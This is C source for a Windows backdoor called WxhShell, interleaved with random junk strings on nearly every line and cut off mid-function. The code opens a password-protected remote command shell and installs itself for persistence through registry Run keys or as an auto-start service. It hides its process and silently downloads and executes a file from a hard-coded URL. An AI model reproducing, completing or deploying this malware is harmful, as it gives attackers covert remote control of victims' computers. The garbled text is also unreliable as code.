DWORD AffinityMask; 4L2TsuLw
DWORD BasePriority; lHgmljn5u
ULONG UniqueProcessId; L3C'q
ULONG InheritedFromUniqueProcessId; sGJZG
} PROCESS_BASIC_INFORMATION; )9rJ]D^B
DB+.<
PROCNTQSIP NtQueryInformationProcess; yu'@gg(
O/f+B}W
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qP[jtRIN
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L8KMMYh[
){i
9,u")
HANDLE hProcess; u+]8Sq
PROCESS_BASIC_INFORMATION pbi; s !HOrhV
L q;=UE
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kAk+Sq^n
if(NULL == hInst ) return 0; cfW;gFf
k`,>52
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j1$s^ -9
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2o`L^^
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); , *Z!Bd8
<3bFt [
if (!NtQueryInformationProcess) return 0; ca$K)=cDW
A!`Q[%$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h Qbz}x
if(!hProcess) return 0; *h"7!g
h!]=)7x;
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i}LVBx"K(
$%3%&+z$I
CloseHandle(hProcess); ,y*|f0&"~
$[*<e~?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DqBiBH[%h
if(hProcess==NULL) return 0; mp>Ne6\Tu
,A!0:+
HMODULE hMod; p+1kU1F0
char procName[255]; iXuSFman
unsigned long cbNeeded; H}}C>p"!,
7a<:\F}E0
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w:[\G%yQ
FO
xZkU\e=
CloseHandle(hProcess); -Y/c]g
N/N~>7f
if(strstr(procName,"services")) return 1; // 以服务启动 *#CUZJN\
7 +kU 8}
return 0; // 注册表启动 f5&K=4khn
} ,9~2#[|lq
_B^Q;54c
// 主模块 r1[Jo|4vo
int StartWxhshell(LPSTR lpCmdLine) kTs.ps8ei
{ %8g1h)F"S
SOCKET wsl; 5'[b:YC
BOOL val=TRUE; #qdfr3
int port=0; CR'1,
struct sockaddr_in door; qgw)SuwW
77p8|63
if(wscfg.ws_autoins) Install(); p u6@X7W"
pK@8= +
port=atoi(lpCmdLine);
i}r|Zo
ORo,.#<
if(port<=0) port=wscfg.ws_port; (<xl _L:*.
xr1,D5
WSADATA data; TKZ[H$Z
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W(,3j{d2i
jZ> x5 W
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F>[T)t{m=
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y` 6!Vj l
door.sin_family = AF_INET; 4jdP3Q/
door.sin_addr.s_addr = inet_addr("127.0.0.1"); yk&PJ;%O<
door.sin_port = htons(port); ppK`7J>Z
C{U"Nsu+1
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z+G/==%3#,
closesocket(wsl); ) i=.x+Q
return 1; ]}0QrD
} aLt2fB1 )
xy[aZr
if(listen(wsl,2) == INVALID_SOCKET) { {#4F}@Q
closesocket(wsl); p5\B0G<m
return 1; %oHK=],|1
} I7e.pm
Wxhshell(wsl); )>U7+ Me
WSACleanup(); "TP^:Ln
.*Ylj2nM
return 0; 0;2"X[e
gis;)al
} HGlQZwf
6#(==}Sm+
// 以NT服务方式启动 k}FmdaPI'
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~"nF$DB
{ JBt2R=
DWORD status = 0; u@pimRVo
DWORD specificError = 0xfffffff; I> BGp4 AQ
aGq1YOD[$
serviceStatus.dwServiceType = SERVICE_WIN32; 2$s2u;
serviceStatus.dwCurrentState = SERVICE_START_PENDING; T1=T
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dh
S7}n
serviceStatus.dwWin32ExitCode = 0; bfXyuv
serviceStatus.dwServiceSpecificExitCode = 0; _ UGR+0'Q\
serviceStatus.dwCheckPoint = 0; T1#r>3c\
serviceStatus.dwWaitHint = 0; z1S
p'h$
< wi9
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iR]K!j2
if (hServiceStatusHandle==0) return; HvzXAd
jIi:tO9G^,
status = GetLastError(); _=-B%m
if (status!=NO_ERROR) WJj5dqatV
{ R,dbq4xkl
serviceStatus.dwCurrentState = SERVICE_STOPPED; 9wbj}tN\z
serviceStatus.dwCheckPoint = 0; TQ5*z,CkS
serviceStatus.dwWaitHint = 0; ,8G6q_ud
serviceStatus.dwWin32ExitCode = status; IRyZ0$r:e\
serviceStatus.dwServiceSpecificExitCode = specificError; %8{nuq+c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); wl7 (|\-
return; ApNS0
} B-UsMO
.C,D;T{
serviceStatus.dwCurrentState = SERVICE_RUNNING; `Vl9/IEk
serviceStatus.dwCheckPoint = 0; YJu~iQ`i
serviceStatus.dwWaitHint = 0; {;vLM*
'
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 03H0(ku=
} y4)iL?!J~
M>[e1y>7
// 处理NT服务事件,比如:启动、停止 z"P/Geb:O
VOID WINAPI NTServiceHandler(DWORD fdwControl) `3yK<-
{ Z@,[a
switch(fdwControl) d$hBgJe>N
{ Q|xa:`3?
case SERVICE_CONTROL_STOP: *}) W>
serviceStatus.dwWin32ExitCode = 0; 7!Qu+R
serviceStatus.dwCurrentState = SERVICE_STOPPED; fPPC`d&Q3
serviceStatus.dwCheckPoint = 0; ir|c<~_=
serviceStatus.dwWaitHint = 0; Kk`LuS?
{ r4m z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); \zKO5,qw
} &P7Z_&34Z
return; !|\l*
case SERVICE_CONTROL_PAUSE: 4-m6e$p;
serviceStatus.dwCurrentState = SERVICE_PAUSED; OE*Y%*b
break; 7@
\:l~{
case SERVICE_CONTROL_CONTINUE: lHAWZyO
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^!fY~(=U4
break; V]NCFG
case SERVICE_CONTROL_INTERROGATE: 2Gh&h(
break; lg
+ >.^7k
}; R*/s#*gmL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); y9b%P]i
} LUdXAi"f
dTjDVq&Hz
// 标准应用程序主函数 9y&bKB2,
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J6Vx7
{ s'|t2`K("
!<24Cy
// 获取操作系统版本 $*|M+ofQ
OsIsNt=GetOsVer(); cj9C6Y!
GetModuleFileName(NULL,ExeFile,MAX_PATH); m!5Edo-;<
u}b%-:-
// 从命令行安装 gxx#<=`
if(strpbrk(lpCmdLine,"iI")) Install(); ,Qs%bq{t
LcZ|A;it
// 下载执行文件 "T9UedZ
if(wscfg.ws_downexe) { !2h ZtX
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6?'7`p
WinExec(wscfg.ws_filenam,SW_HIDE); te4=
} m*jTvn
Ol~M
BQs
if(!OsIsNt) { l dqU#{
// 如果时win9x,隐藏进程并且设置为注册表启动 pH3<QNq5
HideProc(); PMUW<UI
StartWxhshell(lpCmdLine); *YSRZvD<\
} |nE4tN#J<
else /3&MUB*z&y
if(StartFromService()) 0` .5gxm
// 以服务方式启动 L0oVXmlr
StartServiceCtrlDispatcher(DispatchTable); |Ve,Y
else VD<z]@
// 普通方式启动 2vWn(6`
StartWxhshell(lpCmdLine); /'VbV8%
0( *L)s,5
return 0; f7y.##W G
} c_8<N7 C
,J8n}7aI
Ek1c >s,t
z:4_f:70
=========================================== {
:1XN
'ZB^=T
()48> ||
q
k6
8CZ%-}-%$
k/D{&(F ~
" 5'c#pm\Q
4Y$\QZO
#include <stdio.h> 5C&*PJ~WA
#include <string.h> 4hODpIF
#include <windows.h> i[@13kr
#include <winsock2.h> 2j}DI"|h
#include <winsvc.h> +FAj30
#include <urlmon.h> s8)`wH?
ypyKRsx
#pragma comment (lib, "Ws2_32.lib") uZZRFioX|
#pragma comment (lib, "urlmon.lib") I}m20|vv
x Ek8oc
#define MAX_USER 100 // 最大客户端连接数 u>n"FL'e
#define BUF_SOCK 200 // sock buffer bMxK @$G~
#define KEY_BUFF 255 // 输入 buffer |-G2 pu;
4e Y?#8
#define REBOOT 0 // 重启 !nCq8~#
#define SHUTDOWN 1 // 关机 N-]/MB8
W"^ =RY
#define DEF_PORT 5000 // 监听端口 5|nc^
12
<l$ d>,
#define REG_LEN 16 // 注册表键长度 X.#)CB0c1Q
#define SVC_LEN 80 // NT服务名长度 P6R_W
RFyMRE!?
// 从dll定义API y;uR@{
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 31@Lr[!
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c~?Zmdn:
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r`.N?
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [IQ|c?DxpL
msM1K1er
// wxhshell配置信息 |PlNVd2
struct WSCFG { Hddc-7s
int ws_port; // 监听端口 kQ}n~Hn
char ws_passstr[REG_LEN]; // 口令 @(~:JP?KNC
int ws_autoins; // 安装标记, 1=yes 0=no dWPQp*f2
char ws_regname[REG_LEN]; // 注册表键名 `r -jWK\
char ws_svcname[REG_LEN]; // 服务名 i*Ldec^
char ws_svcdisp[SVC_LEN]; // 服务显示名 k%sH0 9
char ws_svcdesc[SVC_LEN]; // 服务描述信息 2h'Wu
qO
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 BUJ\[/
int ws_downexe; // 下载执行标记, 1=yes 0=no `}$o<CJ
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %KXiB6<4
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {VL@U$'oI
L_NiU;cr%
}; `om+p?j
{PcJuRTHB
// default Wxhshell configuration U~N7\Pa4
struct WSCFG wscfg={DEF_PORT, <"J]u@|
"xuhuanlingzhe", dy&UF,l6
1, U8w_C\Q
"Wxhshell", E5d$n*A
"Wxhshell", *q*3SP/
"WxhShell Service", /}(d'@8p
"Wrsky Windows CmdShell Service", :Ko6.|
"Please Input Your Password: ", ~vF a\7sf
1, (
%\7dxiK
"http://www.wrsky.com/wxhshell.exe", $+!dP{
"Wxhshell.exe" ba);f[>
}; 2t-w0~O
^,acU\}VqP
// 消息定义模块 NEIkG>\7q
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >F7w]XH
char *msg_ws_prompt="\n\r? for help\n\r#>"; *[3xc*5F/A
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _!R$a-
char *msg_ws_ext="\n\rExit."; 15\m.Ix
char *msg_ws_end="\n\rQuit."; ^AS\a4`/
char *msg_ws_boot="\n\rReboot..."; :x)H!z
P
char *msg_ws_poff="\n\rShutdown..."; &)%+DUV|
char *msg_ws_down="\n\rSave to "; H<Oo./8+
_*fNa!@hY
char *msg_ws_err="\n\rErr!"; ~,b^f{7`!
char *msg_ws_ok="\n\rOK!"; t?W}=%M[
{`QHg O
char ExeFile[MAX_PATH]; '6#G$
int nUser = 0; (~=.[Y
HANDLE handles[MAX_USER]; En?V\|,
int OsIsNt; //U1mDFT
?)xIn)#ls
SERVICE_STATUS serviceStatus; h_vTA
SERVICE_STATUS_HANDLE hServiceStatusHandle; w +t@G`d
hfaU-IPcFX
// 函数声明 `}}:9d
int Install(void); :"\,iH
int Uninstall(void); \^c4v\s<o#
int DownloadFile(char *sURL, SOCKET wsh); wZiUzS;v
int Boot(int flag); :$MOdL[ir
void HideProc(void); I6W`yh`I)
int GetOsVer(void); z1PwupXt1
int Wxhshell(SOCKET wsl); <Kd(fFe
void TalkWithClient(void *cs); Q +^&
int CmdShell(SOCKET sock); -n|bi cP
int StartFromService(void); 1cLtTE
int StartWxhshell(LPSTR lpCmdLine); d(T4Kd$r
{r,Uik-nL
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wA=r]BT
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N{;!xIv
;sZG=y@
// 数据结构和表定义 s[yWBew
SERVICE_TABLE_ENTRY DispatchTable[] = Cbw *?9d
{ &AQqI
{wscfg.ws_svcname, NTServiceMain}, fu/8r%:h
{NULL, NULL} hmO2s/~
}; _M&TT]a
q@|+`>h
// 自我安装 C82_)@96
int Install(void) `@~e<s`j
{ Y'iX
char svExeFile[MAX_PATH]; ~t`^|cr|
HKEY key; XA>W>|
strcpy(svExeFile,ExeFile); &S,D;uhF
=ejj@c
// 如果是win9x系统,修改注册表设为自启动 8M,*w6P
if(!OsIsNt) { eqo0{e
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !eLj +0
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ti\
${C3
RegCloseKey(key); 1 em,/>"
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { za>UE,?h
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t]yxLl\
RegCloseKey(key); OXEk{#Uf[3
return 0; Z2% HQL2
} L"bOc'GfQ
} liKlc]oM
} eUyF<j
else { Jl
Do_}
>
;,S||
// 如果是NT以上系统,安装为系统服务 -/yqiC-yx
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %tCv-aX4
if (schSCManager!=0) RgJ@J/p"
{ Ys"wG B>
SC_HANDLE schService = CreateService /{i~CGc;"
( _4ag-'5
schSCManager, 6>>; fy2
wscfg.ws_svcname, ZZw`8 E
wscfg.ws_svcdisp, 4T@:_G2b
SERVICE_ALL_ACCESS, AjC:E+g
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :t}\%%EbmE
SERVICE_AUTO_START, b\k]Jx
SERVICE_ERROR_NORMAL, )pB#7aEw
svExeFile, P6:9o}K6
NULL, |Wh3a#
NULL, oaY_6
NULL, ;O"?6d0
NULL, TR"C<&y$j
NULL 3[YG
BM(
); v, $r.g;
if (schService!=0) O\5%IfB'"
{ /k#-OXP~
CloseServiceHandle(schService); g 9_ zkGc7
CloseServiceHandle(schSCManager); ~wvt:E,fC
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d+9V% T
strcat(svExeFile,wscfg.ws_svcname); ]ss[n.T0*
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zA,vp^
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CWj_K2=d
RegCloseKey(key); D tsZP
(
return 0; I= mz^c{
} M&Uy42,MR
} /x<g$!`X
CloseServiceHandle(schSCManager); mxa~JAlN_
} ]-=L7a
} |.<_$[v[x
C"hN2Z!CD|
return 1; ]g_VPx"
} mzgt>Qtkz=
P*|N)S)X%
// 自我卸载 q!Du
J
int Uninstall(void) A~zn;
{ cG|fau<G
HKEY key; U( YAI%O
+&GV-z~o
if(!OsIsNt) { #NS|9jW
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6x+ujUBkK
RegDeleteValue(key,wscfg.ws_regname); i_Kwxn$
RegCloseKey(key); i2F7O"f.
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BZq#OAp
RegDeleteValue(key,wscfg.ws_regname); '\:4Ijp<"
RegCloseKey(key); ({f}Z-%
return 0;
!`69.v
} 9:j?Jvw$
} Ox3=1M0
} k(gbUlCc
else { K9!HW&?<|
}LHYcNw^z
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^&zCPUH
if (schSCManager!=0) =|t-0'RsN
{ UhxM85M;x
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MK&,2>m,A
if (schService!=0) u[>"_!T
{ v88vr
if(DeleteService(schService)!=0) { 87 Z[0>
CloseServiceHandle(schService); #mxOwvJ
CloseServiceHandle(schSCManager); !Sc"V.o@!
return 0; CSM"Kz`
} AIF?>wgq
CloseServiceHandle(schService); { 3G
} v 6 ~9)\!j
CloseServiceHandle(schSCManager); 222 Y?3>@D
} :4ryi&Y
} }:Z.g
M'*s5:i
return 1; *ap,r&]#F
} (q)}`1d'
7]=&Q4e4
// 从指定url下载文件 #'L<7t
K
int DownloadFile(char *sURL, SOCKET wsh) i8iT}^
{ x|H`%Z
HRESULT hr; bA;OphO(
char seps[]= "/"; a:FU- ^B4~
char *token; O-?rFNavxp
char *file; IH|zNg{\Y
char myURL[MAX_PATH]; TI>5g(:3\
char myFILE[MAX_PATH]; r\NqY.U&
:F(4&e